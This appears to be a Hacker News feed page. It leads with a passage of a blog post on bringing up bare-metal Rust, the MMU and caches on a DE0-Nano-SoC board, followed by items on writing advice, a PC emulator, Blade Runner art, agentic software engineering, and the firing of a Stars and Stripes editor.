    ################################################################################
    ##################################=                                           =#
    ########=-=#######################=                                     --    =#
    ######-   =#######################=                        ####-    =######   =#
    ######-   ###############- -=##=##=                        ####-   ########   =#
    ####=       =##-     -###       ##=   -#######    ######   ####-  #####-  -   =#
    ####        ##   ###   ##      -##=   -=--=###=  ####==#   ####-  ####        =#
    ######-   ###-  ##-  -###    =####=   =====###=  ####-     ####   ####        =#
    ######-   ###      =#####    #####=  ####-=###=    -=###-  ####-  #####       =#
    ######-    -#=     -  =##    #####=  #### -###=  #=-=####  ####-   ########-  ##
    #######    =##=        ##    #####=  -########=  #######   ####-    =######   =#
    #########==######====####==#######=     -         ---      --          ----   =#
    ##################################=                                           =#
    ################################################################################
    BOARD : Terasic  DE0_Nano_SoC Version-A Board
    I2C:   ready
    DRAM:  1 GiB
    MMC:   ALTERA DWMMC: 0
    In:    serial
    Out:   serial
    Err:   serial
    Skipped ethaddr assignment due to invalid EMAC address in EEPROM
    Net:   mii0
    Warning: failed to set MAC address
    
    Hit any key to stop autoboot:  0
    SOCFPGA_CYCLONE5 #

    Loading Code

    I've written enough AArch32 Rust examples by now that it was relatively easy to write another one.

    • Start with an empty project
    • Bring in aarch32-rt
    • Write a memory.x linker script fragment that says where memory is
    • Write a very basic 16550 UART driver, and point it at the base address of UART0, assuming U-Boot will have left it enabled and configured at a suitable baud rate

    The linker script fragment looked like:

    MEMORY {
        RAM          : ORIGIN = 0x00100000, LENGTH = 1M
    }
    
    REGION_ALIAS("VECTORS", RAM);
    REGION_ALIAS("CODE", RAM);
    REGION_ALIAS("DATA", RAM);
    REGION_ALIAS("STACKS", RAM);
    
    PROVIDE(_vector_start = ORIGIN(VECTORS));
    
    PROVIDE(_hyp_stack_size = 16K);
    PROVIDE(_und_stack_size = 16K);
    PROVIDE(_svc_stack_size = 16K);
    PROVIDE(_abt_stack_size = 16K);
    PROVIDE(_irq_stack_size = 64);
    PROVIDE(_fiq_stack_size = 64);
    PROVIDE(_sys_stack_size = 16K);

    We've got a lot of memory to play with, but 1 MiB is more that enough for what we need. The important thing is that the start address is not 0x0 . Instead, I chose to set the start address to 0x0010_0000 to skip the first 1 MiB. This was to avoid the Boot ROM (which can be mapped in or out at address 0x0 ), and to avoid whatever RAM U-Boot was using.

    Our crappy UART driver is as simple as:

    /// This is the same console that U-Boot uses on the DE0-Nano-SOC
    pub static CONSOLE: Console = Console::new();
    
    /// Represents our standard-output console (on UART0)
    pub struct Console {
        _inner: (),
    }
    
    impl Console {
        const UART0_BASE_THR: *mut u32 = 0xFFC0_2000 as *mut u32;
        const UART0_BASE_LSR: *mut u32 = 0xFFC0_2014 as *mut u32;
        const LSR_TX_EMPTY: u32 = 1 << 6;
    
        const fn new() -> Console {
            Console { _inner: () }
        }
    
        /// Wait while the UART is busy
        fn waitbusy(&self) {
            loop {
                let lsr = unsafe { Self::UART0_BASE_LSR.read_volatile() };
                if (lsr & Self::LSR_TX_EMPTY) != 0 {
                    break;
                }
            }
        }
    
        /// Put a byte into the UART
        fn putc(&self, byte: u8) {
            // Safety: This is our UART and buffer overflows are not UB
            unsafe {
                Self::UART0_BASE_THR.write_volatile(byte as u32);
            }
        }
    }
    
    impl core::fmt::Write for &Console {
        fn write_str(&mut self, s: &str) -> core::fmt::Result {
            for b in s.as_bytes() {
                self.waitbusy();
                if cfg!(feature = "console-crlf") {
                    if *b == b'\n' {
                        self.putc(b'\r');
                        self.waitbusy();
                    }
                }
                self.putc(*b);
            }
            Ok(())
        }
    }

    This is basically lifted from an earlier project I did on the Pandaboard (did I mention that this is not my first Arm dev kit?), but with the base address changed. There are a bunch of library crates you could pull in which implement a much better driver, but I'm happy copy-pasting these few lines because it's easier to hack on it when it's in the tree with the rest of the code.

    The main function is a simple:

    #![no_std]
    #![no_main]
    
    use core::fmt::Write;
    
    use hello_de0_nano_soc::CONSOLE;
    
    #[aarch32_rt::entry]
    fn main() -> ! {
        _ = writeln!(&CONSOLE, "Hello, this is a DE0-Nano-SOC!");
        panic!("I am a sample panic!");
    }

    Now, to get the code onto the board we need a file format that U-Boot likes. I don't think you can just give it ELF files (shame, I wrote a lovely bare-metal ELF parser so I know it's not that hard), but you can give it Motorola S-Record files. I know, how quaint. Luckily, LLVM's binutils can do that, which I like to drive using the cargo-binutils plugin for cargo :

    cargo objcopy --release -- -O srec

    Annoyingly this overwrites the ELF file with the hex file - answers to the usual address if you know a way to get the objcopy sub-command from cargo-binutils to not do that. But it's fine as I don't need the ELF anyway.

    We get U-Boot to load the file by running loads , and sending the file as ASCII through the serial terminal on my Mac. For reasons I don't fully understand I chose to use minicom , and once I'd worked out that "Esc" and then "S" opened the send menu, and "double tap space" enters a directory in the file browser inside minicom , we were off.

    The Memory Management Unit

    The program runs without issue, but we don't have:

    • The second core running
    • The L1 Instruction Cache enabled
    • The L1 Data Cache enabled
    • The L2 Cache enabled
    • The MMU enabled

    The MMU is the really important one because without it, the processor treats all memory as strongly-ordered, and unaligned loads or atomic accesses don't work with that kind of memory. I think technically it's Undefined Behaviour to execute Rust code when you're in that state but whatever, let's just get the MMU up and running.

    To do this, we need an array of 4,096 Level 1 page table entries, each 32-bits in length and each representing a 1 MiB portion of the virtual address space. We can use a Rust const fn to generate that at compile time.

    /// Holds an L1 page table with appropriate alignment
    ///
    /// You should create a static variable of this type, to represent your page table.
    #[repr(C)]
    #[derive(Debug)]
    pub struct L1Table {
        /// Our mutable list of MMU table entries
        ///
        /// This table is read by the hardware.
        pub entries: core::cell::UnsafeCell<[L1Section; NUM_L1_PAGE_TABLE_ENTRIES]>,
    }
    
    unsafe impl Sync for L1Table {}
    
    /// Our MMU page table
    #[unsafe(no_mangle)]
    #[unsafe(link_section = ".pagetable")]
    pub static MMU_L1_PAGE_TABLE: L1Table = make_mmu_table();
    
    const DDR_ATTRS: SectionAttributes = SectionAttributes {
        non_global: false,
        p_bit: false,
        shareable: true,
        access: AccessPermissions::FullAccess,
        memory_attrs: MemoryRegionAttributes::CacheableMemory {
            inner: CachePolicy::WriteBackWriteAlloc,
            outer: CachePolicy::NonCacheable,
        }
        .as_raw(),
        domain: u4::new(0b0),
        execute_never: false,
    };
    
    const DEVICE_ATTRS: SectionAttributes = SectionAttributes {
        non_global: false,
        p_bit: false,
        shareable: true,
        access: AccessPermissions::FullAccess,
        memory_attrs: MemoryRegionAttributes::ShareableDevice.as_raw(),
        domain: u4::new(0b0),
        execute_never: false,
    };
    
    /// The number of bytes in 1 MiB
    const ONE_MB: u32 = 1024 * 1024;
    
    const fn make_mmu_table() -> L1Table {
        let mut temp: [L1Section; NUM_L1_PAGE_TABLE_ENTRIES] =
            [L1Section::ZERO; NUM_L1_PAGE_TABLE_ENTRIES];
        let mut page = 0;
        // Map 1024 MiB of DDR SDRAM @ 0x0000_0000
        while page < 1024 {
            let section = L1Section::new_with_addr_and_attrs(0x0000_0000 + (page * ONE_MB), DDR_ATTRS);
            temp[0x000 + (page as usize)] = section;
            page += 1;
        }
        // Map 256 MiB of system / MPCore peripherals @ 0xF000_0000
        page = 0;
        while page < 256 {
            let section =
                L1Section::new_with_addr_and_attrs(0xF000_0000 + (page * ONE_MB), DEVICE_ATTRS);
            temp[0xF00 + (page as usize)] = section;
            page += 1;
        }
    
        L1Table {
            entries: core::cell::UnsafeCell::new(temp),
        }
    }

    Initially I used the aarch32_cpu::mmu::L1Table type, but that is marked as requiring alignment to a 1 MiB boundary. That's fine, except the size of an object must be a multiple of its alignment, so Rust padded the page table out from 16 KiB to 1 MiB. Which is a problem when I'm loading it over a UART at 115,200 baud. So instead I made my own type with no alignment requirements, and put it into a special section to ensure it was aligned appropriately. The Motorola S-Record format has no problem leaving out the gaps, so the load didn't take too long (about 5 seconds or so).

    The MMU mapping is very simple - a flat 1:1 mapping from Virtual Address to Physical Address, with the bottom 1 GiB being Inner Cacheable and the top 256 MiB being Device Memory .

    Wait, what?

    Kinds of Memory

    Arm processors understand there are different kinds of memory, and they do this for performance.

    Some memory is the kind where if the code writes a 32-bit value to a specific address, the hardware needs to actually do that write, to that address, exactly once, and not before or after any other write that might occur that address (or similar addresses). This is important when the address in question is the UART Transmit FIFO register, for example. Arm call this Device Memory , and it is non-cacheable and strongly-ordered.

    If all RAM was treated like this, it would kill your performance. Your RAM is much much much much slower than your processor, and so we need caches (several levels of caches in fact) to keep the processor fed with instructions and data as much as possible. This has been true on desktop PCs since the early 1990s (the Intel 486 has an on-die 8 KiB Level 1 cache, for example), and it's been true for Arm processors since ARM3 came out at around the same time.

    Our Arm Cortex-A9 processor has two interfaces to memory - one for instructions and one for data (a so-called Modified Harvard Architecture design) - and so it has two Level 1 caches built into the processor. They are often called the I Cache and the D cache for short. We want the processor to use them so we tell the MMU that most of our memory space is Normal Memory. That allows it to cache reads and writes, buffer writes (so they may appear at the caches out-of-order or be coalesced into a single larger write), and generally do things that make CPU go vroom but that we only get away with when address space is backed by RAM and not peripherals pretending to be RAM.

    As a side note, when it comes to being cacheable, I see the terms Inner and Outer a lot. I believe Inner is "other processors in the same cluster" and Outer is "things outside that cluster, like other processor clusters, or peripherals that are doing DMA".

    On an Armv7-A architecture processor you turn on the L1 I Cache by setting the SCTLR.I bit, and you turn on the L1 D Cache by setting the SCTLR.C bit. There are other bits too, like the SCTLR.M bit to enable the MMU, or the SCTLR.Z bit to turn on branch prediction. I think technically you are supposed to invalidate the cache contents before you enable the caches too, in case your processor didn't do that automatically when it came out of reset.

    With my previous examples that ran on QEMU, this was entirely sufficient. However, I have a problem:

    • There's a second processor core I want to enable (in SMP mode),
    • and the two processors have different L1 caches,
    • and they apparently have a mechanism that allows them to 'see' into each others caches?

    They also share an L2 cache, which is controlled by a peripheral that is separate from that two Cortex-A9 cores. It's a piece of IP Altera bought from Arm called the Corelink L2C-310 L2 Cache Controller. Bringing up the L2C-310 is a right pain, and I don't actually think I need it enabled to get SMP to work, but I've written a Rust driver for it now.

    The actual issue

    Using some changes I put in the latest (unreleased) version of aarch32-rt , we can use the library to bring up secondary processor cores, after the primary code has finished initialising all the global variables and generally decided that it's safe for those secondary cores to start running. The aarch32-rt library knows how to read a special register that identifies each processor core with a number, and how to ensure each processor core gets a unique allocation for each of its seven (7!!) stacks. All we need to do is to provide a special function that can park the secondary cores until some event occurs (an interrupt perhaps, or a hardware register changing value), and a kmain_secondary function for the secondary cores to execute.

    I have a simple program where Core 0 will:

    • Configure and Enable the MMU
    • Invalidate and then enable the L1 I Cache and L1 D Cache
    • Invalidate and then enable the L2 Cache
    • Mark itself as being in "SMP" mode in the Auxilliary Control Register ( ACTLR )
    • Enable the Snoop Control Unit and invalidate the SCU entries for Core 0
    • Map the Boot ROM back in at address 0x0
    • Do some UART logging whilst it does all that
    • Talk to the SoC's reset manager peripheral to take Core 1 out of reset
    • Wait for a global shared AtomicBool to read as true

    Core 1 will:

    • Configure and Enable the MMU (each processor has its own)
    • Invalidate and then enable the L1 I Cache and L1 D Cache
    • Mark itself as being in "SMP" mode in the Auxilliary Control Register ( ACTLR )
    • Invalidate the Snoop Control Unit entries for Core 0
    • Do some UART logging whilst it does all that
    • Sets the global shared AtomicBool to true

    This works! Right up to that last bit - Core 1 is running, and it sets that flag to true . But Core 0 never observes the value changing from false to true . The two cores are seeing entirely different values for the same memory address, which is not supposed to happen (and will wreck pretty much any SMP system).

    Whilst the two processors do have their own L1 caches, they also share a thing called the Snoop Control Unit (or SCU). This basically is a piece of hardware that watches what goes in and out of each of the processors and invalidates the other processors caches. This means the processors share a "coherent" view of the world, even if the write from one processor hasn't fully made it out to SDRAM yet (because it's still in L1 or L2 cache).

    It should be very simple - you invalidate the SCU's entries and turn it on, and then magically it all works. OK, well it's not that simple because this copy and this copy of the Arm Cortex-A9 Technical Reference Manual disagree on whether you should set the SCU_CTRL.EN bit to 1 to enable it, or to 0 to enable it. But either way, it's not working (Linux sets it to 1 , for what it's worth).

    I've spent countless hours going over Arm documentation for both Armv7-A architecture, and the Cortex-A9 in particular. I've looked at example C code for the Altera Cyclone-V (in FreeRTOS and in ThreadX, and in Altera's own driver libraries that both those RTOSes use). I've carefully ported over Altera's drivers for the SCU, the L2C-310, and the L1 I/D Caches, and the two cores are not cache coherent. And I've got no idea what I did wrong.

    The code is at https://codeberg.org/thejpster/hello-de0-nano-soc and if you can find what I did wrong and tell me how fix it, I'll happily write a follow-up blog post about where my mistake was and how you were smart enough to find what I couldn't.

    Four Years Ago, a Crypto Boss Went Missing. Now His Successor Has

    Hacker News
    www.nytimes.com
    2026-08-23 00:28:18
    Comments...
    Original Article

    Please enable JS and disable any ad blocker

    The Golden Rule for Becoming a Better Writer

    Hacker News
    nappertime.com
    2026-08-22 23:32:25
    Comments...
    Original Article

    I’m obsessed with the craft of writing. I write every day, I read about the craft often, and in my spare time I like to unwind by… watching interviews where authors talk about their writing process. It’s a sickness. Help me.

    One of the key things I’ve learned is this: there’s no real blueprint. I say this to aspiring writers in my workshops, and those I mentor. There’s no one way – every writer will have a different path to creation. Now, this doesn’t mean you shouldn’t be listening to other authors, not at all – it’s a great way to help you think about the creative process – but it does mean nothing is holy writ.

    King cites Blood Meridian, The Satanic Verses, and Huckleberry Finn as his favourites

    Except the one golden rule * . One rule that is true, no matter the writer. One rule, that if you don’t follow, means you shouldn’t be writing in the first place.

    Here it is : Read as much as you can. Read widely and well.

    I would’ve thought the necessity of reading in this profession obvious. But I’ve noticed a worrying trend lately: aspiring writers who don’t read .

    Whenever I give a workshop, or an occasional creative writing lecture at uni, or mentor an individual, I always ask the following questions: who are your favourite authors? And, what are you reading now? I do this as a short cut to finding out their interests, and how therefore I might frame my advice.

    But over the past few years, more and more the answer will be: I’m too busy to read. Or: I haven’t read a book in a while (whereafter they rack their brains and tell me they might’ve read Fourth Wing a year back).

    To which I say this: fuck you, you’re not too busy .

    Joking. I would never say that. But I certainly fucking think it. Now, to be clear – I’m not dissing the Fourth Wing here. On the contrary: if Fourth Wing is a gateway drug to getting someone back into reading, then anyone who loves books should be thankful to Rebecca Yarros.

    Sontag

    But I am saying this: go look at your phone, and tell me what your average screen time is per day. Two hours? Five? Seven? If so – shut up: you’ve time to read.

    I write full-time, currently work three gig jobs on the side, and am engaged with lives of my two children. I read every night. It’s not hard: instead of staring at my phone, or streaming, I read. This is not a boast, nor is it special. This is my job as a writer.

    You want to be a writer? Then shut up and read .

    Here’s why:

    1) Reading teaches the writer about the craft

    Every book is an education. Good, bad, mediocre, they teach us the writing craft. Even if we’re not studying the text per se, we’re learning. All the books you’ve ever read – especially the books you read when you were younger – have imprinted themselves on your brain.

    It might be genre, character type, trope, setting, structure, anything, everything – you’ve habituated your brain to the patterns and elements of the novel. Certain writers will have a style that will appeal, and it is completely fine to emulate that style as you develop your own ‘voice’ as a writer (by voice I mean, the expression of individuality in your art).

    When I began writing, I had some early beta readers say: oh, I see you’ve followed the classic three-act structure. To which I thought: I did? I didn’t know structure back then; I’d never taken a creative writing class. Yet my writing brain instinctively created one, because it had been informed by my life as a reader.

    Ishiguro

    In the years since, I’ve subsequently taught classes on three and five-act structures, and the purpose of structure in general. I’m not saying such formal classes are of no value, but I do tend to think they are overrated. The reality is, up until recent decades, ‘creative writing’ was not a degree in and of itself. The much-vaunted MFA is only a relatively recent phenomena. They might be useful for some, but ultimately are peripheral compared to the central importance of reading.

    2) Reading inspires the writer

    I love reading out of genre. The best ideas I get for science fiction don’t come from science fiction. Crime, for example – hardboiled fiction in particular – helped me better understand the origins of cyberpunk, its thematic core, and some of the stylistic possibilities of the subgenre. Non-fiction has given me an unending supply of the raw materials for story – whether that be current events, or history, or science, or philosophy, or anything else – and been a constant source of inspiration. Poetry, as a third example, has taught me how I might use words in an elegant way, and with the strictest of economy create an image, or a mood, or a feeling.

    A book almost always has something to teach us – even if it’s how not to write.

    Bradbury

    3) Reading changes the structure of the brain

    There was a terrible American TV show called Everyone Loves Raymond. I remember little about it, other than when it came on, I tended to change the channel (the show is so old that changing channels was still a thing). But to this day I remember an exchange between the two leads. Raymond has just left his job as a journalist.

    His wife says to him: “Why don’t you write the great American novel?”

    Raymond replies: “Write it? I wouldn’t want to read it.”

    Cue the canned laughter. It is a little funny, I guess, because Raymond has no interest in literature, so the thought of him writing it is absurd.

    But here’s the thing: it sums up what’s wrong with the mentality of many an aspiring writer today. One I simply don’t understand. Why be a writer if you don’t love reading? Why devote your intellectual and emotional energy to creating a book, when it’s a form you’re not invested in? Why write, when you aren’t steeped in wonder of storytelling?

    Nabokov

    Think about the great film directors. Nolan, or Tarantino, or Scorsese, any of them. They love film. They live and breathe it. Their knowledge of cinema is encyclopaedic and it has without question inspired them and made them better directors. Their cinematic vision has been informed by the richness of the history of cinema, and realised through their life-long commitment to the form.

    Literature is no different. Take Le Guin, or Virginia Woolf, or Nabokov . These writers were extraordinarily well-read, whose passion for the written word infused their entire creative existence, whose time, when not writing, was often spent discussing or reviewing or debating novels.

    That’s the thing about Generative AI. It gives all the Raymonds out there, the people who don’t even like reading, the capacity to generate a book. It’s not just that they are lazy and talentless, they’re not even interested in literature. They don’t actually like art, they just like the idea of making art.

    But I don’t want to waste my time talking about those losers (and yes, I’m getting to the part about brain structure – this preamble is relevant). This article is not for them, but for you, the aspiring writer (or, perhaps, someone like me, a published author who yet is obsessed with the way others conceive of their craft).

    I read 52 books a year. I have friends who read over a hundred (which for me personally would be too much: I like to savour my books). Some authors I know read as low as 20, and that really is the bare minimum.

    Reading changes the structure of the brain, and for the good. But here’s the rub: a digital addiction also changes your brain, and for the ill.

    de Beauvoir

    This is a phenomenon dealt with by Maryanne Wolf in ‘ Reader, Come Home : The Reading Brain in a Digital World,’ but which I’ve seen elsewhere, time and again, in opinion article and in peer reviewed science. In essence, the digital brain – distracted by social media, fiercely hunting for the next endorphin hit, its attention span severely limited – is anathema to the reading brain, which needs time, sustained concentration, vivid imagination, and critical thinking skills.

    More and more we lose the ability to immerse ourselves in a book, because we’ve rewired our neural pathways to the digital experience. You know the feeling. The urge to keep picking up your phone, the doom scrolling that eats untold hours/days/weeks from your life, the anxiousness caused by your social media feed and the anxiousness caused by not having access to your social media feed. It’s a pernicious age, where the smart phones we all must carry are infested by apps algorithmically designed by the biohackers of the large tech companies to hijack the timeline of your life, and divert your attention.

    And here’s the thing: the reading brain – which many of us are losing – is also the writing brain. That is: attention span, sustained concentration, and a vivid imagination are fundamental skills required the author. Writing a book is like running a marathon, and the fitness regime required to do so is reading. It builds your creative muscles, the stamina to stay at your computer and find the words, and if you are lucky, enables the flow state of creative writing, where the world disappears and all that remains is story. Flow state : that extraordinary and rare experience that yet all writers have known, where suddenly hours have passed while you’ve been immersed in story.

    I just love this pic

    And to be clear: if you are addicted to the digital, there’s hope for you yet. Just a few weeks of putting aside the phone at night, of settling down with a book for an hour, this will change your brain. It will develop your writing muscles.

    So there you have it: the secret to being a better writer, and the secret all great writers share . And I’ve given it to you for free. Now all you need to do, is do it, every day.

    Go forth, and read.

    My latest release: This Machine Kills Billionaires

    And click here for all my books.

    (* It goes without saying that to you must write, as well. This is not a ‘rule’ as such as it is a statement of reality: writers write. Write as much as you can, as your schedule will allow. No excuses. Write ).

    MartyPC is a cross-platform emulator of early PCs written in Rust

    Hacker News
    martypc.net
    2026-08-22 23:13:16
    Comments...
    Original Article

    MartyPC

    Choose a System

    Loading systems…

    Use the arrows or keyboard to rotate Swipe or tap the arrows to rotate

    I Dream of Quieter Computing

    Hacker News
    henry.codes
    2026-08-22 22:33:22
    Comments...
    Original Article

    I’m thinking of quieter computing. Everything these days is glass and refresh rates, is clouds and cloud-shapes, is brought to you in feeds and in troughs. It’s hard not to pine for a forested internet, an imagined one of searching and finding, of patient and aimless wandering.

    I think of raising the torch overhead to read long-form, personal updates from anons I somehow feel I know, following their links into the underbrush, marking the path with #551A8B streaks . The rin gong resonance that rises when I let my cursor drift along the edges of a hand-made and hand-honed webring.

    We can’t “go back” — we’re remembering it wrong anyway. Too high grows the risk of dashing ourselves upon the rocky river rapids of the future when we’re all eyes set on bygone ages.

    I dream instead of building something new: as we march with sure and strong limbs into the future of computing, I dream of sentences written with the express purpose of making readers crinkle their eyes up or grin knowingly, of handmade websites viewed on hackable hardware, of personal computers made personal once more.

    An internet made for its denizens and dwellers by its admirers — 'tis a consummation devoutly to be wished. What dreams may come, indeed.

    strange.website

    https://strange.website/2022-11-01/

    a website that is concealed by fog of war — the website cannot be observed until you explore each corner. you must be wary! bear thy cursor as one might a blade, as your exploration may reveal far more than mere HTML elements lurking in the mist.

    this link goes some strange place beyond this website go with care

    Read more

    The Art and Beauty of Blade Runner

    Hacker News
    nappertime.com
    2026-08-22 20:56:03
    Comments...
    Original Article

    This article was published last year, but due to its enduring popularity I’ve moved it to the front page for those of you who haven’t seen it yet.

    Blade Runner is one of the most visually haunting and memorable movies in the history of cinema. It has inspired art, and is a work of art. It’s a movie I can’t stop watching and talking about. This article, as such, is an indulgence for those like me who can’t help but go back to this classic neo-noir again and again.

    The first picture embedded in this article, below, gave me the excuse to write this. This piece of fan art, depicting one of the many iconic moments of the movie, spurred me to start looking at what else the collective consciousness of the internet had to offer on this matter. Now, I’ve seen a lot of Blade Runner art over the years, but this time when I fell down the Google rabbit-hole I found myself spiralling through pages upon pages of remarkable imagery.

    I found the following at a site that has a bunch of cool homages to classic movies.

    blade runner art 14

    Ridley Scott said that while making Blade Runner he tried to create beauty, frame by frame, shot by shot. It’s hard to disagree. The film is stunning and retains its power to inspire 35 years later.

    blade-runner-cityscape

    blade runner eye
    “I’ve seen things you people wouldn’t believe…”

    I continue to be struck by still shots from the movie. Nearly all are perfect in their composition, in the use of light, shadow, smoke, and sweat to create the terrible beauty of the Blade Runner universe. The use of smoke, in particular, remains true to the purest of noir sensibilities. The first picture of Rachel below is actually a painting, and you should click on the image to enlarge and have a closer look (the artist of which can be found here ).

    blade runner art 22

    blade runner art 33
    “The tortoise lays on its back, its belly baking in the hot sun.”
    blade runner art 20
    “I mean, you’re not helping. Why is that, Leon?”

    Futurist Syd Mead did much of the design work for Blade Runner. ‘Futurist’ is a pretty foolish thing to call oneself, all things considered, as predicting what the world will look like fifty years away is bloody hard. And no matter how much you do get right, you’ll always have some wit declaring “yeah – so where are my flying cars?”

    Mead’s art, which you can see a selection of here , feels very retro-future these days. And some of it looks like a brain explosion, as evidenced by these motorbike turtles:

    blade runner art 31

    Yet, yet, yet, this is also the man responsible for the aesthetics of Star Trek: The Motion Picture, Aliens, and TRON. The original Star Trek doesn’t stand the test of time, but the Tron visuals are iconic and Aliens is, well, another landmark of science fiction cinema.

    For Aliens he designed the dropship and the power loader Ripley uses at the end. Of course, the recently departed H R Giger blade runner art aliens was the visionary behind the aliens themselves. Think about that for a moment: Aliens had the both the artist who imaged the aliens, plus the artist behind Blade Runner working on the same film.

    At 80, Syd is apparently still in demand, doing much of the design work on Elysium, for example. (which, while not quite getting there as a story, nonetheless has some stunning visuals).

    blade runner art logan's run
    In the far far future skirts will be shorter and computers larger. And without screens. Or keys that serve an identifiable function.

    When Ridley Scott got Syd on board with Blade Runner, he said to him: “…this is not Logan’s Run , where everything is slick and clean. It’s going to be gritty, noir style.”

    Good advice, given how embarrassingly Logan’s Run – made about a year before Blade Runner – has aged. It also counts as the right advice given to the right visionary. Mead not only went dark, he had – it has been said by many a fan of his work – the genetic coding of Japanese culture in his designs. This Asian influence is one of the visually distinctive aspects of the blade runner art syd movie that helps it retain its aesthetic prescience.

    blade runner arti syd 2

    Every detail in the movie was micro-managed by Ridley Scott. He infamously fired one of his design staff when they didn’t give him enough coffee cups to choose from to use as a prop in one of the scenes.

    But this exactness with detail is also one of the reasons the movie has such longevity. Deckard’s gun, for example, is one of the coolest sidearms in science fiction history. blade runner art 5

    The Blade Runner gun was made from a double trigger bolt action rifle and a pistol. The propmakers cut the barrel and the stock from the gun, added the curved grip from a pistol, then stuck some LEDs on the side (sorry to ruin the magic for you with these details). The weapon weighed twice that of a normal handgun and actually fired .44 magnum ammunition (which, for the uninitiated, is a large calibre). So yes, Harrison Ford was actually firing a sawn-off rifle during those fight scenes.

    blade runner art 34

    As you may have gathered, Scott was something of a bastard during filming. He and the star, Harrison Ford, apparently had a very difficult relationship. The pictures below aren’t art, as such, but capture perfectly the friction between the two.

    blade runner 6
    100 bucks says Ford was thinking ‘fuck off’ for pretty much this whole conversation

    blade runner art 16

    The beauty Ridley sought for the film extended to the replicants, who were remarkable physical specimens (let’s all agree to overlook Leon on this point).

    blade runner art 8 The physicality of Rutger Hauer, in particular, was sublime:

    blade runner 13 blade runner art roy pris

    Details, such extraordinary details in this movie. Take this street scene, for example. Now, it seems counter-intuitive to say the future depicted in a movie could seem ‘authentic,’ but this scene must come close. Click on the picture to enlarge:

    blade runnr art 6

    Given Ridley firmly rooted the philosophy and look his work in noir, a pulp treatment was inevitable. The following two covers by fans are the best examples of this. I could not find the artist of the one on the right, but the one of the left has a cool site that gives a number of films the pulp makeover.

    blade runner art 2

    blade runner art 4

    blade runner art 39 The movie even inspired Anders Ramsell to paint 3285 water colour prints, and then turn those into a remarkable short film. You can watch it here on YouTube.

    Some critics have quibbled over the story of Blade Runner – saying the narrative is flawed and confusing. They are wrong, of course, and should all be punished with repeated viewings of Prometheus so they know what a flawed Blade_Runner_unicorn narrative actually looks like (interestingly, there are credible theories floating around that suggest Prometheus and Blade Runner take place in the same universe, linking the Weyland and Tyrell corporations . Which means Blade Runner and Alien are linked. Mind blown).

    But no critic, no matter how obtuse, bloviating, drunk, or working for Rupert Murdoch, has ever said that Blade Runner was anything but a visual masterpiece. There’s not a shot in the film that doesn’t hold up to scrutiny today, and there’s many an artist that still draws inspiration from the film for their own work.

    Many authors too, for that matter, who when then try to imagine the setting for their near-future dystopia, sit down and re-watch Blade Runner in order to feed the muse. I should know, I’m one of them.

    blade runner art 36

    Email: Voight0Kampff (AT) gmail.com.

    Twitter:  @DarklingEarth

    Software Engineering in the Agentic Era

    Hacker News
    simonwillison.net
    2026-08-22 20:20:21
    Comments...
    Original Article

    23rd February 2026

    I’ve started a new project to collect and document Agentic Engineering Patterns —coding practices and patterns to help get the best results out of this new era of coding agent development we find ourselves entering.

    I’m using Agentic Engineering to refer to building software using coding agents—tools like Claude Code and OpenAI Codex, where the defining feature is that they can both generate and execute code—allowing them to test that code and iterate on it independently of turn-by-turn guidance from their human supervisor.

    I think of vibe coding using its original definition of coding where you pay no attention to the code at all, which today is often associated with non-programmers using LLMs to write code.

    Agentic Engineering represents the other end of the scale: professional software engineers using coding agents to improve and accelerate their work by amplifying their existing expertise.

    There is so much to learn and explore about this new discipline! I’ve already published a lot under my ai-assisted-programming tag (345 posts and counting) but that’s been relatively unstructured. My new goal is to produce something that helps answer the question “how do I get good results out of this stuff” all in one place.

    I’ll be developing and growing this project here on my blog as a series of chapter-shaped patterns, loosely inspired by the format popularized by Design Patterns: Elements of Reusable Object-Oriented Software back in 1994.

    I published the first two chapters today:

    • Writing code is cheap now talks about the central challenge of agentic engineering: the cost to churn out initial working code has dropped to almost nothing, how does that impact our existing intuitions about how we work, both individually and as a team?
    • Red/green TDD describes how test-first development helps agents write more succinct and reliable code with minimal extra prompting.

    I hope to add more chapters at a rate of 1-2 a week. I don’t really know when I’ll stop, there’s a lot to cover!

    Written by me, not by an LLM

    I have a strong personal policy of not publishing AI-generated writing under my own name. That policy will hold true for Agentic Engineering Patterns as well. I’ll be using LLMs for proofreading and fleshing out example code and all manner of other side-tasks, but the words you read here will be my own.

    Chapters and Guides

    Agentic Engineering Patterns isn’t exactly a book , but it’s kind of book-shaped. I’ll be publishing it on my site using a new shape of content I’m calling a guide . A guide is a collection of chapters, where each chapter is effectively a blog post with a less prominent date that’s designed to be updated over time, not frozen at the point of first publication.

    Guides and chapters are my answer to the challenge of publishing “evergreen” content on a blog. I’ve been trying to find a way to do this for a while now. This feels like a format that might stick.

    If you’re interested in the implementation you can find the code in the Guide , Chapter and ChapterChange models and the associated Django views , almost all of which was written by Claude Opus 4.6 running in Claude Code for web accessed via my iPhone.

    US Military newspaper editor voices censorship fears after being fired

    Hacker News
    www.bbc.com
    2026-08-22 20:19:17
    Comments...
    Original Article
    Watch: Stars and Stripes editor Erik Slavin speaks to the BBC after his dismissal

    The editor-in-chief of US military newspaper Stars and Stripes has told the BBC of his concern over censorship a day after being dismissed by the US Department of Defense (DoD) for "insubordination".

    "This is a time when we really need to hear what's happening," Erik Slavin said, adding that Pentagon officials appeared to be "less and less inclined to speak on the record".

    Slavin says he believes he was fired for having stated in an interview that "in a hypothetical situation, censorship would be a red line". A reporter and the paper's publisher were also sacked.

    The Pentagon told the BBC it would not comment. But the sackings come amid tension between the Trump administration and the US media.

    Getty Images Several US military members in military uniform. In the centre, a man with Cladwell written on his name patch salutes a man in front of him. Getty Images

    Stars and Stripes provides news to US troops around the world

    Even though partially funded by the Pentagon, Stars and Stripes has been editorially independent - through a congressional mandate and DoD rules.

    The newspaper's Middle East reporter Lara Korte said she had also been told she was fired.

    Both Slavin and Korte say their dismissals - both for insubordination - relate to an interview they gave to CBS's Sunday Morning programme last month, according to the BBC's US partner CBS News.

    Stars and Stripes reported that publisher Max Lederer was also fired.

    He had announced his retirement on Tuesday, saying his understanding of the paper's value and mission differed in "fundamental ways" from the Pentagon's plans for the publication.

    Slavin, who has worked for the paper for 21 years, told the PM programme that he had not been given an official explanation for his dismissal - and was considering his response even though he was not allowed to appeal.

    He said he did not know if it had to do with his paper's original reporting of conditions aboard USS Abraham Lincoln - the warship which has been deployed in the Gulf for months as the US-Israeli war with Iran continues.

    The vessel has spent a record-setting uninterrupted time at sea of more than 240 days and family members of sailors aboard have expressed concern about their mental health, with some sailors having reportedly attempted to jump overboard.

    But Slavin said his dismissal came in a climate where the Pentagon had not had a press conference since May, and where journalists had refused attempts to interfere with their reporting.

